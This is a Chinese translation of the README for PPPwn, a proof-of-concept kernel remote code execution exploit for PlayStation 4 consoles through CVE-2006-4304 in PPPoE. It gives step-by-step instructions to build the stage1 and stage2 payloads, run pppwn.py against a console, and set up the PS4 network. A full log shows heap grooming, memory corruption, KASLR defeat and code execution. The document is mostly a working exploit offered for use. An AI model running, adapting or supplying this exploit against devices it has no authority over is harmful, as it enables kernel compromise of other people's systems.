
PPPwn - PlayStation 4 PPPoE RCE
PPPwn 是一个针对 PlayStation 4(最高支持 FW 11.00)的内核远程代码执行漏洞利用。这是针对 CVE-2006-4304 的概念验证利用,该漏洞已负责任地报告给 PlayStation。
支持的版本有:
该漏洞利用在您的 PS4 上仅打印 PPPwned 作为概念验证。若要启动 Mira 或类似的自制软件启用器,则需要对 stage2.bin payload 进行适配。
Bridged Adapter 作为网络适配器,以便在虚拟机中使用以太网端口。在您的计算机上,克隆仓库:
git clone --recursive https://github.com/TheOfficialFloW/PPPwn
进入克隆下来的仓库目录:
cd PPPwn
安装依赖:
sudo pip install -r requirements.txt
编译 payload:
make -C stage1 FW=1100 clean && make -C stage1 FW=1100
make -C stage2 FW=1100 clean && make -C stage2 FW=1100
对于其他固件版本,例如 FW 9.00,请传入 FW=900。
先不要运行该漏洞利用(还不要按 Enter),但请在提示符下准备好以下命令(通过 ifconfig 查看正确的网络接口):
sudo python3 pppwn.py --interface=enp0s3 --fw=1100
对于其他固件版本,例如 FW 9.00,请传入 --fw=900。
在您的 PS4 上:
前往 Settings,然后选择 Network
选择 Set Up Internet connection 并选择 Use a LAN Cable
选择 Custom 设置,并在 IP Address Settings 中选择 PPPoE
在 PPPoE User ID 和 PPPoE Password 中输入任意内容
在 DNS Settings 和 MTU Settings 中选择 Automatic
在 Proxy Server 中选择 Do Not Use
在再次尝试此 PPPOE 注入之前,请始终等待主机显示消息 "Cannot connect to network: (NW-31274-7)"。
如果漏洞利用失败或 PS4 崩溃,您可以跳过互联网设置,直接点击 Test Internet Connection。在计算机上终止 pppwn.py 脚本并重新运行,然后在 PS4 上点击 Test Internet Connection:两者始终要同时进行。
如果漏洞利用成功,您应该会看到类似下面的输出,并且应该会在 PS4 上看到 Cannot connect to network. 之后打印出 PPPwned,或者顺序相反。
[+] PPPwn - PlayStation 4 PPPoE RCE by theflow
[+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin
[+] STAGE 0: Initialization
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 07:ba:be:34:d6:ab
[+] AC cookie length: 0x4e0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[*] Waiting for interface to be ready...
[+] Target IPv6: fe80::2d9:d1ff:febc:83e4
[+] Heap grooming...done
[+] STAGE 1: Memory corruption
[+] Pinning to CPU 0...done
[*] Sending malicious LCP configure request...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141
[+] STAGE 2: KASLR defeat
[*] Defeating KASLR...
[+] pppoe_softc_list: 0xffffffff884de578
[+] kaslr_offset: 0x3ffc000
[+] STAGE 3: Remote code execution
[*] Sending LCP terminate request...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 97:df:ea:86:ff:ff
[+] AC cookie length: 0x511
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Triggering code execution...
[*] Waiting for stage1 to resume...
[*] Sending PADT...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634be9200
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] AC cookie length: 0x0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] STAGE 4: Arbitrary payload execution
[*] Sending stage2 payload...
[+] Done!
该代码无法在 Apple Silicon 上编译,需要 AMD64 架构。
有一种使用 docker 的变通方法,可以构建所需的 bin 文件。
将此仓库克隆到您的 Mac 系统,然后在仓库文件夹中运行 ./build-macarm.sh。这会为 PS4 FW 1100 构建二进制文件,并将所需文件放入正确的文件夹中。要为其他版本(例如 900)构建二进制文件,请按如下方式运行命令:./build-macarm.sh 900。构建完成后,将此文件夹结构复制到 Linux 虚拟机中,然后按照上述说明执行。
该方案已在 VMware Fusion 13.5.1 上测试通过,虚拟机客户机为 Ubuntu 24.04,主机为 MacOS 14.4.1。
现在,请同时按下手柄上的“X”按钮(选中 Test Internet Connection)和键盘上的“Enter”键(在您已准备好运行 Python 脚本的计算机上)。